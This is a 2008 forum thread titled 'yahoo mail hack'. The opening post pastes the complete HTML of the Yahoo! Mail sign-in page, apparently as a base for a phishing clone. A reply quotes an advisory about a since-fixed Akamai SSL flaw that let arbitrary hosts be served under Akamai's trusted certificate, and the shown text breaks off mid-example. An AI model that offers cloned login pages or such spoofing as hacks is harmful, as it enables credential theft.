|
|
|
|
|
|
 |
|
 |
|
♦ mike ♦ ur worst nightmare
|
Jun 26, 2008
|
 |
yahoo mail hack
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Yahoo! Mail: The best web-based email!</title> <!-- Refresh login page every 15 minutes --> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta http-equiv="refresh" content="900"> <meta content="index,follow" name="robots"> <meta content="Yahoo! Mail Free reliable easy efficient PhotoMail SpamGuard antivirus storage mail for mobile award-winning" name="keywords"> <meta content="Get free web-based email from Yahoo! Access email from anywhere, enjoy unlimited storage space, and feel secure with award-winning spam protection." name="description"> <link rel="stylesheet" type="text/css" href="https://a248.e.akamai.net/sec.yimg.com/lib/common/css/fonts_2.0.0-b2.css"> <style type="text/css">
@import url(https://a248.e.akamai.net/sec.yimg.com/lib/reg/css/yregbase_sec_200704191234.css); .ct{background:transparent url(https://a248.e.akamai.net/sec.yimg.com/i/reg/cr_gg_ne.gif) no-repeat top right;top:-1px} .ct .cl{background:transparent url(https://a248.e.akamai.net/sec.yimg.com/i/reg/cr_gg_nw.gif) no-repeat top left} .cb{background:transparent url(https://a248.e.akamai.net/sec.yimg.com/i/reg/cr_gg_se.gif) no-repeat bottom right;bottom:-1px} .cb .cl{background:transparent url(https://login.yahoo.com/i/reg/cr_gg_sw.gif) no-repeat bottom left} .clear{clear:both} #yreglg select, #yreglg input, #yreglg p, #yreglgtb td, #yreglgtb th{font-size:93%} div.yregdsilu h2.yregdnt, div.yregdsilu p.yregsueasy{width:110px} /*popup template css */ #yregtpopup #yregtxt {width:260px;margin:0 0 10px} /* popup template */ #yregtpopup #yregwp, #yregtpopup #yregmst{width:525px} #yregtpopup #yregmst{margin-bottom:5px} #yregtpopup #yreglg{margin-bottom:0} #yregtpopup #yregft{padding-top:5px}
#yregtgen #yregtxt h2, #yregtpopup #yregtxt h2, #yregpmtxt h3{font:bold 152%/152% arial;color:#333;margin:0} #yregtgen #yregtxt p.yregpti, #yregtpopup #yregtxt p.yregpti {color:#666;margin:0 0 2px;font:bold 100%/100% arial} #yregtgen #yregtxt, #yregtpopup #yregtxt{margin-bottom:20px} #yregtgen #yregtxt #yreghtxt h3, #yregtpopup #yregtxt #yreghtxt h3{margin:0;font:bold 107%/114% arial;color:#8C57A1} #yregtgen #yregtxt li h3, #yregtpopup #yregtxt li h3{font:bold 114%/122% arial} #yregtgen #yregtxt p, #yregtpopup #yregtxt p{margin:0 0 0.8em;line-height:129%} #yregtgen #yregtxt .yregbpt li, #yregtpopup #yregtxt .yregbpt li{margin:0 0 10px 4px;padding:0 0 10px 22px;background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/purple_arrow.gif) no-repeat 1px 4px}
#yregtgen.yregab #yregtxt{width:auto;} #yregtgen.yregab #yreghtxt{margin-right:60px;} #yregtpopup.yregab #yregtxt{width:180px} #yregtgen #yregtxt #yreghtxt h2, #yregtpopup #yregtxt #yreghtxt h2{color:#7A067F} .yregbx{z-index:3;margin-right:0!important} .flicker h3 span {color:#ff0084;font-weight:bold} .flicker h3 a {text-decoration:underline;}
/* persistency message right above "sign in" bottom */ em.nwred a {font-style: normal; font-size: 85%; vertical-align:5px;} .kmsibold {font-weight:bold; font-size: 114%;} input#persistent {margin-bottom: -0em;} .subperstxt {line-height:1.75em;} .subperstxt2 {margin: 0 0 0 2em; display:block;} /* #yregft p.yregfb { font-size:120%; padding-bottom: 5px; padding-up: 5px} */
.yreglgsb{margin-top:0}
#yregwp #yregct #yreglg .yregbxi #yreglgmd {margin-top:1.75em} body#yregtgen fieldset {margin-bottom:2.5em} #yreglgtb tr {width:17.92em} /* p#sigcopys {text-align: left; font-size: 85%; float: right; padding: .4em; margin: .6em .4em 1em 0; border-bottom: 1px dotted #9D9C9D; border-top: 1px dotted #9D9C9D;} */ p#sigcopys {text-align: left; font-size: 85%; padding: .4em; margin: .6em .0em 1em 0; border-bottom: 1px dotted #9D9C9D; border-top: 1px dotted #9D9C9D;} #sigcopys label{display:block; margin:-1.5em 0 0 2em;}
#yregtgen #yregct {margin-right: 0px;} #yregtgen #yregtxt { margin-left: 15px; margin-right: 245px } </style>
<style type="text/css">
/*anti phish badge */ .top {position:relative} #antiphish{position:absolute;right:5px;top:5px;} #antiphish.dogear{right:0px;top:0px;} #antiphish a {font-size:92%;} img.picture {border:2px solid}
/* badge backgrounds */ .badge{background-color:#f9f9f9; background-repeat:no-repeat; background-position:top right;} .badge #yreglgtb {margin-top:18px;} /* increased badge size */
/* popup code... */ #security {display:none;position:absolute;top:-15px;left:-85px;z-index:1000;background-color:#a5a5a5;} #security.noimage {left:-76px;top:-10px} #securityi{position:relative;z-index:1;right:1px;bottom:1px;padding:11px;width:219px;background-color:#fff;border:1px solid #636363;} #knob{position:absolute;top:30px;right:-10px;width:10px;height:18px;background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/sideknob.png) no-repeat top left} .noimage #knob{top:22px} #security p, #security ul li{font:77%/107% verdana;} #security p a {text-decoration:underline;} #security p{padding-bottom:5px;} #security ul{margin:5px 0 0;padding:0 5px 0 0;text-align:right;list-style:none;} #security ul li{margin:0;padding:0 0 2px;}
/* help text updates... */ #yregtgen #yregtxt .yregbpt li ul{margin:10px 0 0;padding:0 0 0 15px;} #yregtgen #yregtxt .yregbpt li ul li{background:none;list-style:disc;margin:0 0 5px 0;padding:0;} #yreghtxt ul{margin-left:0} #yreghtxt ul.inlineHeaders li h3{display:inline;} /* remove top margin on li ul */ .addressbar {display:block;margin:1em 0 1em 0} .mono{font-family: courier new, courier, monospace;color:#000;font-weight:bold}
#rcta {width:99%; border:1px solid #898989; margin-top:10px; background-image:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/gradient.png); background-repeat:repeat-x; background-color:#fde37c} .ct {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/upper-right.gif) no-repeat scroll right top; top:-1px} .ct .cl {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/upper-left.gif) no-repeat scroll left top;} #rcta .key {width:40px; height:40px; border:1px solid #666666; background-image:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/key.png); background-repeat: no-repeat; float:left; margin-top:1px} #rcta .txt {margin-left:48px} .cb {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/lower-right.gif) no-repeat scroll right bottom; bottom:-1px} .cb .cl {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/lower-left.gif) no-repeat scroll left bottom;} #rcta .ctact {margin:4px 10px;min-height:44px} #rcta .txt .qs {font:normal bold 92% arial, Helvetica, sans-serif; color:#000; text-decoration:none} #rcta .txt .sl {font:normal normal 100% arial, Helvetica, sans-serif; color:#000; text-decoration:none} #rcta .txt .why {font:normal normal 85% arial, Helvetica, sans-serif;} #rcta .txt .sltxt {line-height:0.9em} .sltxt a {line-height:0.5em; font-size:85%} .sltxt .why a{font-size:100%} .yregertxt { margin-top: 25px } .yreglgsut { margin-top: 15px } </style> <!--[if IE]> <style type="text/css"> .yregclb{height:1%} #yreglgtb td{text-align:left} #yreglgtb td input{width:110px} #antiphish img{right:15px} #antiphish.dogear{right:1px;top:1px;} #knob{background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/sideknob_b.gif);right:-11px} .badge #yreglgtb {margin-top:20px;} #rcta .key {margin-top:0} .badge {height:1%} </style> <![endif]-->
<!--[if lte IE 6]> <style type="text/css"> .yregclb{height:30em} #yregtxt {height:1%} </style> <![endif]-->
<!--[if IE]> <style type="text/css"> .yregclb,.yregbxi,.yregbx {height:1%} #yreglgtb td{text-align:left} #yregtxt #banner div{position:static} /* ie z-index context stacking bug work-around */ #yregtpopup #yregtxt{clear:both; float:left;} #yregct{padding:0 0 30px} .yregbx{width: 100%} </style> <![endif]-->
<!--[if IE 6]> <style type="text/css"> .yregclb{height:30em} #yregtxt {height:1%} /*p#sigcopys {margin-right:0.2em}*/ </style> <![endif]-->
<style type="text/css"> #yreglgtb, #yreglgtb th {text-align: left; width: 100%;} #yreglgtb td { width:179px; text-align: left; padding: 0 0 16px 0} #yreglgtb td input{ width:179px } .dbidTip {padding: 3px 0 0 0; font-size:85%} </style>
<style type="text/css"> @import url(https://a248.e.akamai.net/sec.yimg.com/lib/reg/css/yregml_sec_200604111840.css); div.yregdsilu h2.yregdnt, div.yregdsilu p.yregsueasy{width:110px} /* persistency message right above "sign in" bottom */ em.nwred a {font-style: normal; font-size: 85%; top:-1px; position: relative } .kmsibold {font-weight:bold; font-size: 114%;} p#sigcopys {text-align: left; font-size: 85%; padding: .4em; margin: .6em .4em 1em 0; border-bottom: 1px dotted #9D9C9D; border-top: 1px dotted #9D9C9D;} input#persistent {margin-bottom: -0em;} .subperstxt {line-height:1.75em;} .subperstxt2 {margin: 0 0 0 2em; display:block;} /* #yregft p.yregfb { font-size:120%; padding-bottom: 5px; padding-up: 5px} */ </style> <style type="text/css">
/*anti phish badge */ .top {position:relative} #antiphish{position:absolute;right:5px;top:5px;} #antiphish.dogear{right:0px;top:0px;} #antiphish a {font-size:92%;} img.picture {border:2px solid}
/* badge backgrounds */ .badge{background-color:#f9f9f9; background-repeat:no-repeat; background-position:top right;} .badge #yreglgtb {margin-top:18px;} /* increased badge size */
/* popup code... */ #security {display:none;position:absolute;top:-15px;left:-85px;z-index:1000;background-color:#a5a5a5;} #security.noimage {left:-76px;top:-10px} #securityi{position:relative;z-index:1;right:1px;bottom:1px;padding:11px;width:219px;background-color:#fff;border:1px solid #636363;} #knob{position:absolute;top:30px;right:-10px;width:10px;height:18px;background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/sideknob.png) no-repeat top left} .noimage #knob{top:22px} #security p, #security ul li{font:77%/107% verdana;} #security p a {text-decoration:underline;} #security p{padding-bottom:5px;} #security ul{margin:5px 0 0;padding:0 5px 0 0;text-align:right;list-style:none;} #security ul li{margin:0;padding:0 0 2px;}
/* help text updates... */ #yregtgen #yregtxt .yregbpt li ul{margin:10px 0 0;padding:0 0 0 15px;} #yregtgen #yregtxt .yregbpt li ul li{background:none;list-style:disc;margin:0 0 5px 0;padding:0;} #yreghtxt ul{margin-left:0} #yreghtxt ul.inlineHeaders li h3{display:inline;} /* remove top margin on li ul */ .addressbar {display:block;margin:1em 0 1em 0} .mono{font-family: courier new, courier, monospace;color:#000;font-weight:bold}
#rcta {width:99%; border:1px solid #898989; margin-top:10px; background-image:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/gradient.png); background-repeat:repeat-x; background-color:#fde37c} .ct {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/upper-right.gif) no-repeat scroll right top; top:-1px} .ct .cl {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/upper-left.gif) no-repeat scroll left top;} #rcta .key {width:40px; height:40px; border:1px solid #666666; background-image:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/key.png); background-repeat: no-repeat; float:left; margin-top:1px} #rcta .txt {margin-left:48px} .cb {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/lower-right.gif) no-repeat scroll right bottom; bottom:-1px} .cb .cl {background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/lower-left.gif) no-repeat scroll left bottom;} #rcta .ctact {margin:4px 10px;min-height:44px} #rcta .txt .qs {font:normal bold 92% arial, Helvetica, sans-serif; color:#000; text-decoration:none} #rcta .txt .sl {font:normal normal 100% arial, Helvetica, sans-serif; color:#000; text-decoration:none} #rcta .txt .why {font:normal normal 85% arial, Helvetica, sans-serif;} #rcta .txt .sltxt {line-height:0.9em} .sltxt a {line-height:0.5em; font-size:85%} .sltxt .why a{font-size:100%} .yregertxt { margin-top: 25px } .yreglgsut { margin-top: 15px } </style> <!--[if IE]> <style type="text/css"> .yregclb{height:1%} #yreglgtb td{text-align:left} #yreglgtb td input{width:110px} #antiphish img{right:15px} #antiphish.dogear{right:1px;top:1px;} #knob{background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/sideknob_b.gif);right:-11px} .badge #yreglgtb {margin-top:20px;} #rcta .key {margin-top:0} .badge {height:1%} </style> <![endif]-->
<!--[if lte IE 6]> <style type="text/css"> .yregclb{height:30em} #yregtxt {height:1%} </style> <![endif]--> <!--[if IE]> <style type="text/css"> #antiphish.dogear{right:1px;} /* #antiphish{right:15px;} */ </style> <![endif]--> <!--[if IE 5]> <style type="text/css"> #yregbnr{margin-top:23px;padding-top:0} /* offset login box */ .yregbnrimg {margin:0 0 0 -3px} /* 3px jog Win/IE5 */ </style> <![endif]--> <!--[if IE]> <style type="text/css"> .yregclb{height:1%} #yregbnrti{height:159px;padding-top:0} #yregbnrtii{margin-top:0} .knob{top:-5px} #yregtml .mailplus{height:60px;padding-top:0} #yregtml .mailplus div{margin-top:0} #yregtml .spamguard{height:52px;padding-top:0} #yregtml .spamguard div{margin-top:0} #yregtml .addressbook{height:50px;padding-top:0} #yregtml .addressbook div{margin-top:0} #yregtml .messenger{height:60px;padding-top:0} #yregtml .messenger div{margin-top:0} #yregtml .photos{height:60px;padding-top:0} #yregtml .photos div{margin-top:0} #yregtml .mobile{height:60px;padding-top:0} #yregtml .mobile div{margin-top:0} #yregtml .antivirus{height:60px;padding-top:0} #yregtml .antivirus div{margin-top:0} #yregtml .cnet{height:72px;padding-top:0} #yregtml .cnet div{margin-top:0} #yregtml .pcmag{height:94px;padding-top:0} #yregtml .pcmag div{margin-top:0}
</style> <![endif]--> <!--[if IE 7]> <style type="text/css"> .knob{top:-6px} #antiphish.dogear{top:0;right:0;} #antiphish{right:5px;} </style> <![endif]-->
<!--[if lte IE 6]> <style type="text/css"> .yregclb{height:30em} #yregtxt {height:1%} p#sigcopys {margin-right:0.2em} </style> <![endif]-->
<style type="text/css"> p#sigcopys {float: right;} #yregtxt {width:66%; overflow:hidden} #yregbnr {padding-top:0} #yregbnr #yregbnrti #yregbnrtii {width:240px} #yregiclst {padding-right:0} </style> <!--[if IE]> <style type="text/css"> #yregbnr #yregbnrti {margin-top:-160px} #yregtxt {height:auto} </style> <![endif]-->
<style type="text/css"> #yreglgtb, #yreglgtb th {text-align: left; width: 100%;} #yreglgtb td { width:179px; text-align: left; padding: 0 0 16px 0} #yreglgtb td input{ width:179px } .dbidTip {padding: 3px 0 0 0; font-size:85%} </style>
</head>
<body id="yregtml">
<div id="yregwp"> <!-- begin header --> <table id="yregmst" width="750" cellpadding="0" cellspacing="0" border="0"><tr valign="top"> <td width="100%"><table width="100%" cellspacing="0" border="0"><tr valign="top"> <td width="1%"><img src="https://a248.e.akamai.net/sec.yimg.com/i/us/nt/ma/ma_mail_1.gif" alt="Yahoo! Mail" width=196 height=33 border=0></td> <td><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr valign="top"> <td align="right" id="ygmaproplinks" style="padding-right:3px;line-height:12px;"><font face="verdana,geneva,sans-serif" size="-2"><a href="http://www.yahoo.com " target="www" class="header" title="Click here to go to Yahoo! homepage">Yahoo!</a> - <a href="http://help.yahoo.com/help/us/edit/" class="header" target="yhelp" title="Click here for help">Help</a></font></td> </tr></table></td></tr></table></td> <td align="right" style="padding: 6px 0 0 4px;"> </td></tr></table>
<!-- end header --> <span id="cache"></span> <script language="JavaScript"> function checkBrowser(){ var appName = navigator.appName; if( appName == "Microsoft Internet Explorer" ) { // this only works in IE 5 for windows and higher ... if( navigator.appVersion.indexOf("Windows") == -1 ) return -1; var appVersionAry = navigator.appVersion.split("("); if( appVersionAry.length < 2 ) return -1; var appVersion = appVersionAry[1]; appVersionAry = appVersion.split("; "); if( appVersionAry.length < 2 ) return -1; appVersion = appVersionAry[1]; appVersionAry = appVersion.split(" "); if( appVersionAry.length < 2 ) return -1; appVersion = appVersionAry[1]; var appVersionNumber = parseInt(appVersion);
if( appVersionNumber < 5 ) return -1; } else { return -1; } }
</script>
<script language="JavaScript">
function flashCacheReady (initialized){ //invoked directly by Flash } </script>
<div id="yregct" class="yregclb"> <div id="yreglg"> <!-- login box goes here --> <div class="top yregbx"> <script type="text/javascript">if(top == self) { document.write("<div class=\" badge\">")}</script> <span class="ct"><span class="cl"></span></span> <div class="yregbxi"> <script type="text/javascript">if(top == self) { document.write("") } else { top.location.href = "http://www.yahoo.com" }</script> <h1>Sign in to Yahoo!</h1> <script type="text/javascript">if (top == self) { document.write(" <div id=\"rcta\"> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\" tabIndex=\"-1\"> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\" tabIndex=\"-1\"> <span class=\"ct\"> <span class=\"cl\"></span> </span> </a> <div class=\"ctact\"> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\" tabIndex=\"-1\"> <div class=\"key\"> </div> </a> <div class=\"txt\"> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\"> <span class=\"qs\">Are you protected?</span> </a> <div class=\"sltxt\"> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\"> <span class=\"sl\">Create your sign-in seal.</span> </a> <span class=\"why\">(<a href=\"https://protect.login.yahoo.com/?.src=ym&.v=0&.u=egjddqp46786v&.last=&promo=&.intl=us&.bypass=&.help=3&.partner=&pkg=&stepid=&.pd=ym_ver%3d0%2526c=&.done=http%3A//mail.yahoo.com\">Why?</a>)</span> </div> </div> </div> <a href=\"https://protect.login.yahoo.com/login/set_pref?.intl=us&.src=ym&.u=egjddqp46786v&.partner=&pkg=&stepid=&.pd=c=&.crumb=czozMjoiYTdlN2VhMzIyNzc3YjliNTA0MjA4OTVkNDQyYWM0NjciOw--&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Flogin_verify2%3F%26.src%3Dym\" tabIndex=\"-1\"> <span class=\"cb\"> <span class=\"cl\"></span> </span> </a> </a> </div> <div class=\"clear\"> </div>") } else { top.location.href = "http://www.yahoo.com" }</script> <fieldset> <legend>Login Form</legend> <form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form" onsubmit="return hash2(this)"> <input type="hidden" name=".tries" value="1"> <input type="hidden" name=".src" value="ym"> <input type="hidden" name=".md5" value=""> <input type="hidden" name=".hash" value=""> <input type="hidden" name=".js" value=""> <input type="hidden" name=".last" value=""> <input type="hidden" name="promo" value=""> <input type="hidden" name=".intl" value="us"> <input type="hidden" name=".bypass" value=""> <input type="hidden" name=".partner" value=""> <input type="hidden" name=".u" value="egjddqp46786v"> <input type="hidden" name=".v" value="0"> <input type="hidden" name=".challenge" value=".544_Ol6POAH4ctu9EZf8Pr1MWYP"> <input type="hidden" name=".yplus" value=""> <input type="hidden" name=".emailCode" value=""> <input type="hidden" name="pkg" value=""> <input type="hidden" name="stepid" value=""> <input type="hidden" name=".ev" value=""> <input type="hidden" name="hasMsgr" value="0"> <input type="hidden" name=".chkP" value="Y"> <input type="hidden" name=".done" value="http://mail.yahoo.com"> <input type="hidden" name=".pd" value="ym_ver=0&c="> <table id="yreglgtb" summary="form: login information" cellspacing="0" cellpadding="0"> <tr> <th><label for="username">Yahoo! ID:</label></th></tr> <tr> <td><input name="login" id="username" value="" size="17" class="yreg_ipt" type="text" maxlength="96"> <script language="JavaScript" type="text/javascript">if(document.getElementById) document.getElementById('username').focus();</script> <div class="dbidTip">(e.g. free2rhyme@yahoo.com)</div> </td> </tr> <tr> <th><label for="passwd">Password:</label></th></tr> <tr> <td><input name="passwd" id="passwd" value="" size="17" class="yreg_ipt" type="password" maxlength="64"></td> </tr>
</table>
<p id="sigcopys"><input type="checkbox" id="persistent" name=".persistent" value="y" > <label for="persistent"> <span class="kmsibold">Keep me signed in</span><br><span class="subperstxt">for 2 weeks unless I sign out.</span> <em class="nwred"><a href="http://us.rd.yahoo.com/reg/login1/lisu/pst_help/us/ym/*https://login.yahoo.com/config/login?.src=ym&.intl=us&.help=4&.v=0&.u=egjddqp46786v&.last=&promo=&.bypass=&.partner=&pkg=&stepid=&.pd=ym_ver%3d0%26c=&.ab=&.done=http%3A//mail.yahoo.com" tabindex="99999">Info</a></em></label> <span class="subperstxt2">[Uncheck if on a shared computer]</span> </p> <div class="clear"></div> <p class="yreglgsb"><input type="submit" name=".save" value="Sign In"></p> </form> </fieldset> <a href="http://us.rd.yahoo.com/reg/login1/lisu/forgot_lib/us/ym/*https://edit.india.yahoo.com/config/eval_forgot_pw?new=1&.done=http%3A//mail.yahoo.com&.src=ym&partner=&.intl=us&pkg=&stepid=&.pd=ym_ver%3d0%26c=&.ab=&.last=">Forget your ID or password?</a> | <a href="http://us.rd.yahoo.com/reg/login1/lisu/sih_lib/us/ym/*https://login.yahoo.com/config/login?.src=ym&.intl=us&.help=1&.v=0&.u=egjddqp46786v&.last=&.last=&promo=&.bypass=&.partner=&pkg=&stepid=&.pd=ym_ver%3d0%26c=&.ab=&.done=http%3A//mail.yahoo.com">Help</a> </p> <div class="yregdlisu"> <h2>Don't have a Yahoo! ID?</h2> <p>Signing up is easy.</p> <p class="yreglgsu"><a href="https://edit.india.yahoo.com/config/eval_register?.intl=us&new=1&.done=http%3A//mail.yahoo.com&.src=ym&.v=0&.u=egjddqp46786v&partner=&.partner=&pkg=&stepid=&.p=&promo=&.last=">Sign Up</a></p> </div>
<!-- end lisu --> </div> <span class="cb"><span class="cl"></span></span> <script type="text/javascript">document.write("</div>")</script> </div>
<!-- promo marketing header --> <div class="second yregbx"> <span class="ct"><span class="cl"></span></span> <div class="yregbxi"> <h3>One Yahoo! ID. So much fun!</h3> <p>Use your single ID for everything from checking Mail to checking out Yahoo! Music, Photos, Messenger, and more.</p> </div> <span class="cb"><span class="cl"></span></span> </div> <!-- End promo marketing header -->
<!-- end login box --> </div> <div id="yregtxt"> <!-- begin left side content --> <!-- SpaceID=150001465 loc=R1 noad --> <!-- SpaceID=150001465 loc=R2 noad --> <!-- top static call --> <div class="rootbeer"> <div id="yregbnr"> <img src="https://a248.e.akamai.net/sec.yimg.com/i/reg/bnr_28.jpg" alt="Filter" class="yregbnrimg" height="173" width="204"> <div id="yregbnrt"><div id="yregbnrti"><div id="yregbnrtii"> <img src="https://a248.e.akamai.net/sec.yimg.com/i/reg/title_mailtour_rb.gif" alt="You deserve the best. Yahoo! Mail delivers." height="50" width="244"> <p>Enjoy tons of features and fun ways to stay in touch and share. Sign up now, it's FREE!</p> <p><a class="yregnlnk" href="http://tour.mail.yahoo.com/mailtour.html" onclick="yg_popup('http://tour.mail.yahoo.com/mailtour.html','y',700,450); return false" target="_blank">Tour Yahoo! Mail</a></p> </div></div></div> </div></div> <!-- end top add call -->
<!-- bottom ad call --> <div id="yregiclst"> <div class="ic mobile"><div><h3>Get mobile. Get messages.</h3> <cite><a class="yregnlnk" onclick="yreg_popLayer('hl_list',this,0,25,'96946863');">Yahoo! alerts you</a> of new email and lets you read them on your mobile phone.</cite> </div></div> <!-- begin hidden layer --> <div id="hl_list" class="hiddenlayer"> <div class="yreginhdly"> <h4>Stay connected with yahoo! mobile alerts</h4> <p>Don't miss important news just because you're away from the PC.</p> <ul> <li>Get alerts on your mobile phone the second new Mail arrives.</li> <li>Set up free* alerts for the latest news, weather, stocks, sports scores, more.</li> <li>Personalize alerts to get the exact info you want.</li> </ul> <p class="yreglegal">*Yahoo! Mobile Alerts are available at no charge from Yahoo! However, your carrier.s normal data transfer charges apply.</p> <p class="close"><a class="yregnlnk" onclick="yreg_popLayer('hl_list');">Close</a></p> </div> </div> <!-- End hidden layer --> <div class="ic antivirus"><div><h3>AntiVirus that works twice as hard.</h3> <cite>Your Yahoo! Mail scans and cleans email attachments to help keep nasty viruses out of your life.</cite> </div></div> <div class="ic pcmag"><div><h3>Wanna share in our trophy?</h3> <cite><i>PC Magazine</i> knows a thing or two about free email, including which one stands out. <a class="yregnlnk" onclick="yreg_popLayer('h2_list',this,-150 ,25,'96946861');">Show me</a></cite> </div></div> <!-- begin hidden layer --> <div id="h2_list" class="hiddenlayer"> <div class="yreginhdly"> <h4>PC Magazine Editors' Choice 2005</h4> <p>"Yahoo! Mail has made considerable strides since the last time we reviewed it. It's the most comprehensive free service in this roundup, with sophisticated security features, a configurable spam filter, Norton Anti-Virus scanning and cleaning, and the ability to integrate cleanly with Yahoo! Messenger. Yahoo! Mail was the first Web-based mail service to include a detailed address book, calendar, and notepad, and these work as well as ever. You can also sync their content with mobile devices. ...Yahoo! Mail takes the lead overall." -- <i>PC Magazine</i>, June 22, 2005.</p> <p class="close"><a class="yregnlnk" onclick="yreg_popLayer('h2_list');">Close</a></p> </div> </div> <!-- End hidden layer --> </div> <!-- end bottom ad call -->
<!-- Content module end -->
<!-- end left side content --> </div> </div> <!-- begin footer -->
<div id="yregft"> <p>Copyright © 2008 Yahoo! Inc. All rights reserved. <a href="http://docs.yahoo.com/info/copyright/copyright.html" target="cp">Copyright/IP Policy</a> | <a href="http://docs.yahoo.com/info/terms/" target="tos">Terms of Service</a> | <a href="http://security.yahoo.com/" target="sc">Guide to Online Security</a></p> <p>NOTICE: We collect personal information on this site.</p> <p>To learn more about how we use your information, see our <a href="http://privacy.yahoo.com/" target="_new" title="Click here to view Yahoo! Privacy Policy">Privacy Policy</a></p> </div> <!-- end footer --> </div> </div> <script type="text/javascript"> if (top != self) top.location.href = location.href;
</script> <script type="text/javascript"> <!-- browser_string = navigator.appVersion + " " + navigator.userAgent; if ( browser_string.indexOf("MSIE") < 0 ) { if (navigator.mimeTypes) { for (i = 0 ; i < navigator.mimeTypes.length ; i++) { if (navigator.mimeTypes[i].suffixes.indexOf("yps") > -1) { doGotIt(); } } } else { dontGotIt(); } } else { if (browser_string.indexOf("Windows")>=0) { doGotIt(); document.write('<object classid="clsid:41695A8E-6414-11D4-8FB3-00D0B7730277" CODEBASE="javascript:dontGotIt();" ID="Ymsgr" width="1" height="1">'); document.write('</object>'); } } hasMsgr = 0; function dontGotIt(){ hasMsgr = 0; document.login_form.hasMsgr.value=0; } function doGotIt(){ hasMsgr = 1; document.login_form.hasMsgr.value=1; } //--> </script> <script src="https://a248.e.akamai.net/sec.yimg.com/lib/reg/js/login_md5_1_14.js" type="text/javascript"></script> <script src="https://a248.e.akamai.net/sec.yimg.com/lib/g/ylib_dom.js" type="text/javascript"></script> <script src="https://a248.e.akamai.net/sec.yimg.com/lib/g/util/yg_browserext_1_5.js" type="text/javascript"></script> <script src="https://a248.e.akamai.net/sec.yimg.com/lib/reg/js/yregml_200611021154.js" type="text/javascript"></script>
<!-- spaceid: 150001465 INT.OFFSET: 0 --><!-- SpaceID=150001465 loc=FOOT9 noad --> <!-- l06.member.in2.yahoo.com Thu Jun 26 19:29:59 IST 2008 --> </body> </html>
|
 |
Report bad post
Reply
|
|
 |
 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 |
|
 |
|
Deepak deewana,,,,
|
Jun 26, 2008
|
 |
Re: yahoo mail hack
Implications: A user could not be certain that a server is who it claims to be. If a malicious server also spoofs DNS, then it can pretend to be any server (e.g., your bank or favorite shopping site). Simply using SSL does not guarantee end-to-end authenticity.
Details: Akamai customers have the option to require SSL server authentication on their origin servers. That is, Akamai could configure their servers to reject origin servers that do not have the appropriate Verisign certificate. However, the default was not to check for origin server authenticity. Therefore, any host on the Internet could have proxied SSL Web pages through Akamai. Presumably, some customers did not want to pay Verisign to authenticate low-security content such as banner ads.
Example: Here is a simple example to demonstrate the danger. Because Akamai fixed the vulnerability, this should no longer work. Direct your browser to https://snafu.fooworld.org/. Because your browser does not trust snafu.fooworld.org's self-signed certificate, the browser will warn you. This is expected behavior. Visit: https://a248.e.akamai.net/n/248/1777/aks20001011.0/img.etrade.com/images/tab_none.gif . This is legitimate content served through Akamai and is expected behavior.
Now direct your browser to: https://a248.e.akamai.net/v/248/1777/365d/snafu.fooworld.org/. Before the vulnerability was fixed, the browser would give no warning. This is unexpected and misleading behavior. At the time of writing, one unauthorized URL still existed in some Akamai caches. For instance, https://18.7.0.13/n/248/1777/aks20001011.0/snafu.fooworld.org/ Where 18.7.0.13 corresponds to a248.e.akamai.net. Note that you cannot add new unauthorized content any more.
Now consider a malicious example based upon a real-world incident from a couple months ago. A malicious person wanting to cheat the stock market posts this URL in a chat room:
